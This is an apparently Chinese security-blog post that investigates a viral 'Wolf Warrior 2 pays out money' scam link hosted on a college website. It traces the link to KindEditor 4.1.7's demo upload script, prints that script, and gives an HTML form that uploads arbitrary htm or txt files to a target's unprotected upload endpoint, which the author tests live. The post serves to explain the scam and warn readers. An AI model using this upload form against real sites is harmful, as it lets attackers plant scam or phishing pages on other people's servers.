这两天再朋友圈还有一些群里疯传这样的一个链接
战狼2发钱了?
可能吗?
本着谨慎的态度 小编复制了一个链接
http://www.xxxxxxx.com/admin/Public/kindeditor-4.1.7/attached/file/20170819/20170819153525_22104.html
这是什么
战狼可能会这样发钱吗?
不会把
这个站点
这是某个学院的官网
应该是被某位大佬发现了这个站的漏洞
既然对方可以上传 那我们应该可也可以
我们先下载kindeditor
找到php文件夹
<?php /** * KindEditor PHP * * 本PHP程序是演示程序,建议不要直接在实际项目中使用。 * 如果您确定直接使用本程序,使用之前请仔细确认相关安全设置。 * */ require_once 'JSON.php'; $php_path = dirname(__FILE__) . '/'; $php_url = dirname($_SERVER['PHP_SELF']) . '/'; //文件保存目录路径 $save_path = $php_path . '../attached/'; //文件保存目录URL $save_url = $php_url . '../attached/'; //定义允许上传的文件扩展名 $ext_arr = array( 'image' => array('gif', 'jpg', 'jpeg', 'png', 'bmp'), 'flash' => array('swf', 'flv'), 'media' => array('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb'), 'file' => array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2'), ); //最大文件大小 $max_size = 1000000; $save_path = realpath($save_path) . '/'; //PHP上传失败 if (!empty($_FILES['imgFile']['error'])) { switch($_FILES['imgFile']['error']){ case '1': $error = '超过php.ini允许的大小。'; break; case '2': $error = '超过表单允许的大小。'; break; case '3': $error = '图片只有部分被上传。'; break; case '4': $error = '请选择图片。'; break; case '6': $error = '找不到临时目录。'; break; case '7': $error = '写文件到硬盘出错。'; break; case '8': $error = 'File upload stopped by extension。'; break; case '999': default: $error = '未知错误。'; } alert($error); } //有上传文件时 if (empty($_FILES) === false) { //原文件名 $file_name = $_FILES['imgFile']['name']; //服务器上临时文件名 $tmp_name = $_FILES['imgFile']['tmp_name']; //文件大小 $file_size = $_FILES['imgFile']['size']; //检查文件名 if (!$file_name) { alert("请选择文件。"); } //检查目录 if (@is_dir($save_path) === false) { alert("上传目录不存在。"); } //检查目录写权限 if (@is_writable($save_path) === false) { alert("上传目录没有写权限。"); } //检查是否已上传 if (@is_uploaded_file($tmp_name) === false) { alert("上传失败。"); } //检查文件大小 if ($file_size > $max_size) { alert("上传文件大小超过限制。"); } //检查目录名 $dir_name = empty($_GET['dir']) ? 'image' : trim($_GET['dir']); if (empty($ext_arr[$dir_name])) { alert("目录名不正确。"); } //获得文件扩展名 $temp_arr = explode(".", $file_name); $file_ext = array_pop($temp_arr); $file_ext = trim($file_ext); $file_ext = strtolower($file_ext); //检查扩展名 if (in_array($file_ext, $ext_arr[$dir_name]) === false) { alert("上传文件扩展名是不允许的扩展名。\n只允许" . implode(",", $ext_arr[$dir_name]) . "格式。"); } //创建文件夹 if ($dir_name !== '') { $save_path .= $dir_name . "/"; $save_url .= $dir_name . "/"; if (!file_exists($save_path)) { mkdir($save_path); } } $ymd = date("Ymd"); $save_path .= $ymd . "/"; $save_url .= $ymd . "/"; if (!file_exists($save_path)) { mkdir($save_path); } //新文件名 $new_file_name = date("YmdHis") . '_' . rand(10000, 99999) . '.' . $file_ext; //移动文件 $file_path = $save_path . $new_file_name; if (move_uploaded_file($tmp_name, $file_path) === false) { alert("上传文件失败。"); } @chmod($file_path, 0644); $file_url = $save_url . $new_file_name; header('Content-type: text/html; charset=UTF-8'); $json = new Services_JSON(); echo $json->encode(array('error' => 0, 'url' => $file_url)); exit; } function alert($msg) { header('Content-type: text/html; charset=UTF-8'); $json = new Services_JSON(); echo $json->encode(array('error' => 1, 'message' => $msg)); exit; }
这是官方的demo 程序 估计是网站的程序员为了省事直接用了demo
我们来构造一个上传
<html> <head> <script src="http://写目标站点的地址/admin/Public/kindeditor-4.1.7/kindeditor-min.js"></script> <script> KindEditor.ready(function(K) { var uploadbutton = K.uploadbutton({ button : K('#uploadButton')[0], fieldName : 'imgFile', url : 'http://写目标站点的地址/admin/Public/kindeditor-4.1.7/php/upload_json.php?dir=file', afterUpload : function(data) { if (data.error === 0) { var url = K.formatUrl(data.url, 'absolute'); K('#url').val(url);} }, }); uploadbutton.fileBox.change(function(e) { uploadbutton.submit(); }); }); </script> </head> <body> <div class="upload"> <input class="ke-input-text" type="text" id="url" value=""readonly="readonly" /><input type="button" id="uploadButton" value="Upload" /> </div> </body> </html>
我们先来上传一张图片试试
{"error":1,"message":"\u4e0a\u4f20\u6587\u4ef6\u6269\u5c55\u540d\u662f\u4e0d\u5141\u8bb8\u7684\u6269\u5c55\u540d\u3002\n\u53ea\u5141\u8bb8doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2\u683c\u5f0f\u3002"}
这下我们就清楚了
array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2'),
这样我么那就知道对方的那个假的战狼页面是怎么上去的了
我们来上传一个txt
上传成功
目测不是钓鱼
但是应该是诈骗广告
截至目前
所有的连接打开跳转到
应该是某个黑产牛干的事把
当然 现在我发现了几个版本
一个是上面分析的
反正没有一个是正常的
指尖安全在这里提醒我们的小伙伴,不要相信这些 天上不会掉馅饼,就算掉下来也不会砸在你头上